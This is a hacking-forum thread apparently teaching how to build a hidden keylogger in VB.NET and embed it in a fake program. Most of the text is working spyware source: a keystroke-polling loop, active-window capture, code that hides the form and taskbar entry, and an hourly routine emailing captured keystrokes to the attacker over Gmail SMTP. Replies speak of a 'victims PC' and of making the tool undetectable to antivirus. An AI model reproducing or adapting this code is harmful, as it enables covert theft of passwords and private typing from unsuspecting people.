[1234hotmaster]

Hi everyone i want to explain how to make a keylogger in your VB program step by step

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

Why use a inbuilt keylogger?

Answer: Instead of binding un-certain non-UD keyloggers to your VB fake program you can simply make the program have one!


Step 1:

Start visual studio and Start a new project. Next Add these codes above Public Class Form1

Code:

Imports System.IO Imports System.Net.Mail

Step 2:

Now we are going to do the declares. Add these below Form1:

Code:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessId As Integer, ByVal dwType As Integer) As Integer Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Public Function CAPSLOCKON() As Boolean If My.Computer.Keyboard.CapsLock = True Then Return True Else Return False End If End Function Dim keystate As Integer Dim Shift As Integer

Step 3:

Add 3 timers. Make Timer1's interval "1", Timer2's interval "60000" and Timer3's interval "3600000" and make them all Enabled. Also make a Textbox and make it Multilined ( else keylogger wont work! )


Step 4:

Now for the keylogging. Double click timer1 and insert in this code:

Code:

Shift = GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey) keystate = GetAsyncKeyState(System.Windows.Forms.Keys.A) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "A" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "a" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.B) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "B" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "b" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.C) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "C" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "c" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "D" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "d" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.E) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "E" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "e" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "F" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "f" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.G) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "G" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "g" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.H) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "H" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "h" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.I) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "I" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "i" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.J) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "J" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "j" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.K) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "K" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "k" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.L) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "L" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "l" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.M) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "M" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "m" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.N) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "N" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "n" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.O) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "O" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "o" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.P) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "P" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "p" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Q) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "Q" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "q" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.R) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "R" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "r" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.S) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "S" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "s" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.T) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "T" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "t" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.U) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "U" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "u" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.V) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "V" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "v" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.W) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "W" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "w" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.X) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "X" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "x" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Y) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "Y" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "y" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Z) If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "Z" End If If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then TextBox1.Text = TextBox1.Text & "z" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D1) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "1" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "!" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D2) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "2" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "@" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D3) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "3" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "#" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D4) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "4" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "$" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D5) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "5" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "%" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D6) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "6" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "^" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D7) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "7" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "&" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D8) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "8" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "*" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D9) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "9" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "(" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D0) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "0" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & ")" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Back) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[backspace]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Tab) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[tab]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Return) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & vbCrLf End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[shift]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ControlKey) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[ctrl]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Menu) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[alt]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Pause) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[pause]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Escape) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[esc]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Space) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & " " End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.End) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[end]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Home) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[home]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Left) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[left]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Right) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[right]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Up) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[up]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Down) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[down]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Insert) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[insert]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Delete) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[Delete]" End If keystate = GetAsyncKeyState(&HBAS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & ";" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & ":" End If keystate = GetAsyncKeyState(&HBBS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "=" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "+" End If keystate = GetAsyncKeyState(&HBCS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "," End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "<" End If keystate = GetAsyncKeyState(&HBDS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "-" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "_" End If keystate = GetAsyncKeyState(&HBES) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "." End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & ">" End If keystate = GetAsyncKeyState(&HBFS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "/" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "?" End If keystate = GetAsyncKeyState(&HC0S) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "`" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "~" End If keystate = GetAsyncKeyState(&HDBS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[" End If keystate = GetAsyncKeyState(&HDCS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "\" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "|" End If keystate = GetAsyncKeyState(&HDDS) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "]" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "]" End If keystate = GetAsyncKeyState(&HDES) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "'" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & Chr(34) End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Multiply) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "*" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Divide) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "/" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Add) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "+" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Subtract) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "-" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Decimal) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[Del]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F1) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F1]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F2) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F2]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F3) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F3]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F4) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F4]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F5) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F5]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F6) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F6]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F7) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F7]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F8) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F8]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F9) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F9]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F10) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F10]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F11) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F11]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F12) If Shift = 0 And (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[F12]" End If If Shift <> 0 And (keystate And &H1S) = &H1S Then Me.Visible = True Call RegisterServiceProcess(0, 0) End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumLock) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[NumLock]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Scroll) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[ScrollLock]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Print) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[PrintScreen]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.PageUp) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[PageUp]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.PageDown) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[Pagedown]" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad1) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "1" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad2) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "2" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad3) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "3" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad4) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "4" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad5) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "5" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad6) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "6" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad7) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "7" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad8) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "8" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad9) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "9" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad0) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "0" End If keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ControlKey) If (keystate And &H1S) = &H1S Then TextBox1.Text = TextBox1.Text & "[Ctrl]" End If

Step 5:

Now Below the timer1's end sub add this function:

Code:

Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function

Step 6:

Double click timer2 and add this:

Code:

Dim strin As String = Nothing If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & GetActiveWindowTitle() & vbNewLine strin = GetActiveWindowTitle() End If

Step 7:

Now double click timer3 and add this:

Code:

Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("hacker@gmail.com") MyMailMessage.To.Add("hacker@gmail.com") MyMailMessage.Subject = "hackcommunity.com's inbuilt keylogger" MyMailMessage.Body = TextBox1.Text Dim SMPT As New SmtpClient("smtp.gmail.com") SMPT.Port = 587 SMPT.EnableSsl = True SMPT.Credentials = New System.Net.NetworkCredential("hacker@gmail.com", "mypassword") SMPT.Send(MyMailMessage) TextBox1.Text = ""

Step 8:

Double click the form and add this:

Code:

Me.hide Me.opacity = 0 Me.ShowInTaskbar = false

And wham! your keylogger in complete!

What does Timer1 Do?
Answer: It keyloggs Shift and other keys.

What does Timer2 Do?
Answer: It Gets the active window title every 1 minute.

What does Timer3 Do?
Answer: It Sends the logged keys and active window titles ( Textbox1.text ) to your e-mail once every 1 hour and refreshes all text in Textbox1. Replace the example mail and passwords with your own mail and pass.




Note: Not Leeched or copied from anywhere else. please don't copy this cause i spent 2 hours of a exam night writing this :innocent: and please give credit if you share :thumbs:

Hope you liked it

[1234hotmaster]

Nice to see someone commented

sorry i don't have any hooks... i just use GetAsyncKeyState... you have any?

[S1lentZ]

Great TUT!!!, but i have some questions:
1. Which framework must be installed on victims PC or this is no matter?
2. In which OS this key-logger would work?
3. Are there a possibility to make it FUD without crypter?
4. I cant understand why in every key-logger is necessary to put email password? (dumb question but i want to understand how it works)

[1234hotmaster]

nice that you like it
as far as i remember, its FUD =]

well you can use {sa} for string encryption which will UD it alot.

[S1lentZ]

Can you answer other question?

[1234hotmaster]

.Net Frame work 2.0

Non-64 bit Windows

Yes

Well, for sending a mail you can't send it anonymous. it needs to be sended using a valid account so it needs you to login to your acount and send it. thats why the SMTP settings are needed ofc in keyloggers like this:
http://www.hackcommunity.com/Thread-Adva...P-Required

no username or password is needed =]

[ashu202]

aren't you supposed to declare the functions in a module?

[ashu202]

are the timers supposed to be enabled from the properties setting or do you use code to enable them

[blowdoof]

yea, i'll post one later.

if you won't, i will :-)

note - to avoid abuse, i'll only post the essential...haha..

Code:

